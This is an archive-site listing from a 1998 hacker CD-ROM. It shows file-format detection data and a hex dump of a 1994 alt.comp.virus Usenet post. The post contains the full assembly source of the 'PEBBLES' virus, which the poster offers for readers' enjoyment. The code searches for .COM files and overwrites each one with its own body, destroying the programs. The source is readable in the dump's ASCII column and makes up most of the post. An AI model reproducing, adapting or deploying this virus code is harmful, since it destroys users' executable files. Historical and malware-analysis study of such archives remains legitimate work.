The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / pebbles.asm < prev next >
Mailbox/MIME Entity | 2003-06-11 | 2.2 KB
open in:
MacOS 8.1 extracted |
Win98 extracted |
DOS extracted
view JSON data |
view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: pebbles.asm
Confidence	Program	Detection	Match Type	Support
`100%`	dexvert	Mailbox/MIME Entity `(archive/mbox)`	magic	Supported
`100%`	dexvert	Internet Message Format `(text/imf)`	magic	Supported
`100%`	dexvert	Assembly Source File `(text/asm)`	magic	Supported
`1%`	dexvert	freeCAD assembly `(other/freeCADAssembly)`	ext	Unsupported
`1%`	dexvert	Text File `(text/txt)`	fallback	Supported
`100%`	file	Mailbox text, 1st line "From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:10:01 1994", ASCII text	default
`100%`	TrID	E-Mail message (Var. 2)	default
`100%`	checkBytes	Printable ASCII	default
`100%`	perlTextCheck	Likely Text (Perl)	default
`100%`	siegfried	x-fmt/111 Plain Text File	default
`100%`	detectItEasy	Format: plain text[LF]	default (weak)
`100%`	xdgMime	application/mbox	default
hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 6e 65 |ix.netco|m.com!ne|
|00000020| 74 6e 65 77 73 20 53 61 | 74 20 4e 6f 76 20 31 32 |tnews Sa|t Nov 12|
|00000030| 20 31 37 3a 31 30 3a 30 | 31 20 31 39 39 34 0a 58 | 17:10:0|1 1994.X|
|00000040| 72 65 66 3a 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 20 |ref: net|com.com |
|00000050| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 3a 31 |alt.comp|.virus:1|
|00000060| 39 38 0a 50 61 74 68 3a | 20 6e 65 74 63 6f 6d 2e |98.Path:| netcom.|
|00000070| 63 6f 6d 21 69 78 2e 6e | 65 74 63 6f 6d 2e 63 6f |com!ix.n|etcom.co|
|00000080| 6d 21 6e 65 74 6e 65 77 | 73 0a 46 72 6f 6d 3a 20 |m!netnew|s.From: |
|00000090| 5a 65 70 70 65 6c 69 6e | 40 69 78 2e 6e 65 74 63 |Zeppelin|@ix.netc|
|000000a0| 6f 6d 2e 63 6f 6d 20 28 | 4d 72 2e 20 47 29 0a 4e |om.com (|Mr. G).N|
|000000b0| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|000000c0| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|000000d0| 74 3a 20 52 65 3a 20 56 | 69 72 75 73 20 43 72 65 |t: Re: V|irus Cre|
|000000e0| 61 74 69 6f 6e 20 4c 61 | 62 73 20 62 6f 6f 6b 0a |ation La|bs book.|
|000000f0| 44 61 74 65 3a 20 31 32 | 20 4e 6f 76 20 31 39 39 |Date: 12| Nov 199|
|00000100| 34 20 30 33 3a 32 39 3a | 35 34 20 47 4d 54 0a 4f |4 03:29:|54 GMT.O|
|00000110| 72 67 61 6e 69 7a 61 74 | 69 6f 6e 3a 20 4e 65 74 |rganizat|ion: Net|
|00000120| 63 6f 6d 0a 4c 69 6e 65 | 73 3a 20 35 34 0a 44 69 |com.Line|s: 54.Di|
|00000130| 73 74 72 69 62 75 74 69 | 6f 6e 3a 20 77 6f 72 6c |stributi|on: worl|
|00000140| 64 0a 4d 65 73 73 61 67 | 65 2d 49 44 3a 20 3c 33 |d.Messag|e-ID: <3|
|00000150| 61 31 63 72 69 24 6d 33 | 31 40 69 78 6e 65 77 73 |a1cri$m3|1@ixnews|
|00000160| 31 2e 69 78 2e 6e 65 74 | 63 6f 6d 2e 63 6f 6d 3e |1.ix.net|com.com>|
|00000170| 0a 52 65 66 65 72 65 6e | 63 65 73 3a 20 3c 33 61 |.Referen|ces: <3a|
|00000180| 30 73 37 62 24 72 36 69 | 24 31 40 6d 68 61 64 66 |0s7b$r6i|$1@mhadf|
|00000190| 2e 70 72 6f 64 75 63 74 | 69 6f 6e 2e 63 6f 6d 70 |.product|ion.comp|
|000001a0| 75 73 65 72 76 65 2e 63 | 6f 6d 3e 20 3c 33 61 31 |userve.c|om> <3a1|
|000001b0| 61 6a 37 24 6c 35 65 40 | 69 78 6e 65 77 73 31 2e |aj7$l5e@|ixnews1.|
|000001c0| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 3e 0a 4e |ix.netco|m.com>.N|
|000001d0| 4e 54 50 2d 50 6f 73 74 | 69 6e 67 2d 48 6f 73 74 |NTP-Post|ing-Host|
|000001e0| 3a 20 69 78 2d 69 72 34 | 2d 32 32 2e 69 78 2e 6e |: ix-ir4|-22.ix.n|
|000001f0| 65 74 63 6f 6d 2e 63 6f | 6d 0a 0a 49 0a 3b 09 48 |etcom.co|m..I.;.H|
|00000200| 65 72 65 27 73 20 69 73 | 20 61 6e 6f 74 68 65 72 |ere's is| another|
|00000210| 20 74 68 61 74 20 49 20 | 74 68 69 6e 6b 20 74 68 | that I |think th|
|00000220| 61 74 20 79 6f 75 20 77 | 69 6c 6c 20 66 69 6e 64 |at you w|ill find|
|00000230| 20 65 6e 6a 6f 79 61 62 | 6c 65 20 21 20 0a 0a 3b | enjoyab|le ! ..;|
|00000240| 09 09 09 50 20 45 20 42 | 20 42 20 4c 20 45 20 53 |...P E B| B L E S|
|00000250| 20 20 20 20 20 56 20 49 | 20 52 20 55 20 53 20 21 |     V I| R U S !|
|00000260| 0a 3b 09 09 09 09 2d 5a | 65 70 2d 0a 0a 44 4f 53 |.;....-Z|ep-..DOS|
|00000270| 53 45 47 0a 4d 4f 44 45 | 4c 20 74 69 6e 79 0a 43 |SEG.MODE|L tiny.C|
|00000280| 4f 44 45 53 45 47 0a 20 | 20 20 20 20 20 20 20 20 |ODESEG. |        |
|00000290| 20 20 20 20 20 20 20 6f | 72 67 20 20 20 20 20 31 |       o|rg     1|
|000002a0| 30 30 68 0a 0a 76 69 72 | 5f 6c 65 6e 20 20 20 20 |00h..vir|_len    |
|000002b0| 20 20 20 20 20 3d 20 66 | 69 6e 69 73 68 2d 73 74 |     = f|inish-st|
|000002c0| 61 72 74 0a 0a 73 74 61 | 72 74 20 20 20 20 20 20 |art..sta|rt      |
|000002d0| 20 20 20 20 20 65 71 75 | 20 20 20 20 20 24 0a 0a |     equ|     $..|
|000002e0| 42 65 67 69 6e 3a 0a 20 | 20 20 20 20 20 20 20 20 |Begin:. |        |
|000002f0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00000300| 68 2c 34 65 68 20 20 20 | 20 20 20 20 20 20 20 20 |h,4eh   |        |
|00000310| 20 20 20 20 20 20 20 3b | 20 46 69 6e 64 66 69 72 |       ;| Findfir|
|00000320| 73 74 2e 2e 2e 0a 20 20 | 20 20 20 20 20 20 20 20 |st....  |        |
|00000330| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 |      mo|v     cx|
|00000340| 2c 30 30 31 30 30 31 31 | 31 62 0a 20 20 20 20 20 |,0010011|1b.     |
|00000350| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00000360| 20 20 20 64 78 2c 6f 66 | 66 73 65 74 20 66 69 6c |   dx,of|fset fil|
|00000370| 65 73 70 65 63 20 20 20 | 20 20 20 3b 20 64 78 20 |espec   |   ; dx |
|00000380| 3c 2d 20 22 2a 2e 43 4f | 4d 22 0a 6c 6f 6f 70 31 |<- "*.CO|M".loop1|
|00000390| 3a 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |:.      |        |
|000003a0| 20 20 69 6e 74 20 20 20 | 20 20 32 31 68 20 20 20 |  int   |  21h   |
|000003b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000003c0| 20 20 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |  .     |        |
|000003d0| 20 20 20 6a 63 20 20 20 | 20 20 20 64 6f 6e 65 20 |   jc   |   done |
|000003e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000003f0| 20 20 20 3b 20 4e 6f 20 | 6d 6f 72 65 20 66 69 6c |   ; No |more fil|
|00000400| 65 73 3f 20 20 42 65 74 | 74 65 72 20 0a 73 74 6f |es?  Bet|ter .sto|
|00000410| 70 2e 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p..     |        |
|00000420| 20 20 20 63 61 6c 6c 20 | 20 20 20 69 6e 66 20 20 |   call |   inf  |
|00000430| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000440| 20 20 20 3b 20 49 6e 66 | 65 63 74 20 66 69 6c 65 |   ; Inf|ect file|
|00000450| 2e 2e 2e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00000460| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 34 |    mov |    ah,4|
|00000470| 66 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |fh      |        |
|00000480| 20 20 20 20 3b 20 46 69 | 6e 64 6e 65 78 74 2e 2e |    ; Fi|ndnext..|
|00000490| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000004a0| 20 6a 6d 70 20 20 20 20 | 20 73 68 6f 72 74 20 6c | jmp    | short l|
|000004b0| 6f 6f 70 31 20 20 20 20 | 20 20 20 20 20 20 20 20 |oop1    |        |
|000004c0| 20 3b 20 4f 76 65 72 20 | 61 6e 64 20 6f 76 65 72 | ; Over |and over|
|000004d0| 20 74 69 6c 6c 20 0a 74 | 68 65 72 65 0a 20 20 20 | till .t|here.   |
|000004e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000004f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 61 |        |     ; a|
|00000510| 69 6e 27 74 20 6e 6f 20 | 6d 6f 72 65 2e 2e 0a 64 |in't no |more...d|
|00000520| 6f 6e 65 3a 0a 20 20 20 | 20 20 20 20 20 20 20 20 |one:.   |        |
|00000530| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 30 68 |     int|     20h|
|00000540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000550| 20 20 20 20 20 3b 20 54 | 68 6f 75 67 68 20 62 61 |     ; T|hough ba|
|00000560| 64 20 69 74 27 73 20 0a | 73 68 6f 72 74 65 72 0a |d it's .|shorter.|
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000580| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000005a0| 3b 20 74 68 61 6e 20 6d | 6f 76 20 61 68 2c 34 63 |; than m|ov ah,4c|
|000005b0| 20 69 6e 74 20 0a 32 31 | 68 2e 2e 2e 0a 0a 70 72 | int .21|h.....pr|
|000005c0| 6f 63 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e |oc      |      in|
|000005d0| 66 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f.      |        |
|000005e0| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 33 64 30 |  mov   |  ax,3d0|
|000005f0| 32 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2h      |        |
|00000600| 20 20 3b 20 4f 70 65 6e | 20 64 65 20 66 69 6c 65 |  ; Open| de file|
|00000610| 2e 2e 2e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00000620| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 39 |    mov |    dx,9|
|00000630| 65 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |eh      |        |
|00000640| 20 20 20 20 3b 20 64 78 | 20 3c 2d 20 44 54 41 20 |    ; dx| <- DTA |
|00000650| 66 69 6c 65 6e 61 6d 65 | 0a 20 20 20 20 20 20 20 |filename|.       |
|00000660| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |        | int    |
|00000670| 20 32 31 68 20 20 20 20 | 20 20 20 20 20 20 20 20 | 21h    |        |
|00000680| 20 20 20 20 20 20 20 20 | 20 0a 20 20 20 20 20 20 |        | .      |
|00000690| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|000006a0| 20 20 61 68 2c 34 30 68 | 20 20 20 20 20 20 20 20 |  ah,40h|        |
|000006b0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 57 72 69 74 |        |  ; Writ|
|000006c0| 65 2e 2e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e...    |        |
|000006d0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 6f |    mov |    cx,o|
|000006e0| 66 66 73 65 74 20 76 69 | 72 5f 6c 65 6e 20 20 20 |ffset vi|r_len   |
|000006f0| 20 20 20 20 3b 20 4c 65 | 6e 67 74 68 20 6f 66 20 |    ; Le|ngth of |
|00000700| 76 69 72 75 73 20 74 6f | 20 0a 77 72 69 74 65 2e |virus to| .write.|
|00000710| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000720| 20 6d 6f 76 20 20 20 20 | 20 64 78 2c 6f 66 66 73 | mov    | dx,offs|
|00000730| 65 74 20 73 74 61 72 74 | 20 20 20 20 20 20 20 20 |et start|        |
|00000740| 20 3b 20 64 78 20 3c 2d | 20 62 65 67 2e 20 6f 66 | ; dx <-| beg. of|
|00000750| 20 76 69 72 75 73 0a 20 | 20 20 20 20 20 20 20 20 | virus. |        |
|00000760| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 |       i|nt     2|
|00000770| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h.     |        |
|00000780| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 33 65 |   mov  |   ah,3e|
|00000790| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|000007a0| 20 20 20 3b 20 43 6c 6f | 73 65 20 75 70 20 66 69 |   ; Clo|se up fi|
|000007b0| 6c 65 2e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |le..    |        |
|000007c0| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 0a |    int |    21h.|
|000007d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000007e0| 72 65 74 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ret     |        |
|000007f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000800| 3b 20 47 65 74 20 62 61 | 63 6b 2e 2e 2e 0a 65 6e |; Get ba|ck....en|
|00000810| 64 70 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e |dp      |      in|
|00000820| 66 0a 0a 66 69 6c 65 73 | 70 65 63 20 20 20 20 20 |f..files|pec     |
|00000830| 20 20 20 64 62 20 20 20 | 20 20 20 22 2a 2e 43 4f |   db   |   "*.CO|
|00000840| 4d 22 2c 30 20 20 20 20 | 20 20 20 20 20 20 20 20 |M",0    |        |
|00000850| 20 20 20 3b 20 46 69 6c | 65 73 70 65 63 20 74 6f |   ; Fil|espec to|
|00000860| 20 69 6e 66 65 63 74 2e | 0a 0a 66 69 6e 69 73 68 | infect.|..finish|
|00000870| 20 20 20 20 20 20 20 20 | 20 20 65 71 75 20 20 20 |        |  equ   |
|00000880| 20 20 24 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |  $.    |        |
|00000890| 20 20 20 20 65 6e 64 20 | 20 20 20 20 42 65 67 69 |    end |    Begi|
|000008a0| 6e 0a 20 0a 0a 0a       |                         |n. ...  |        |
+--------+-------------------------+-------------------------+--------+--------+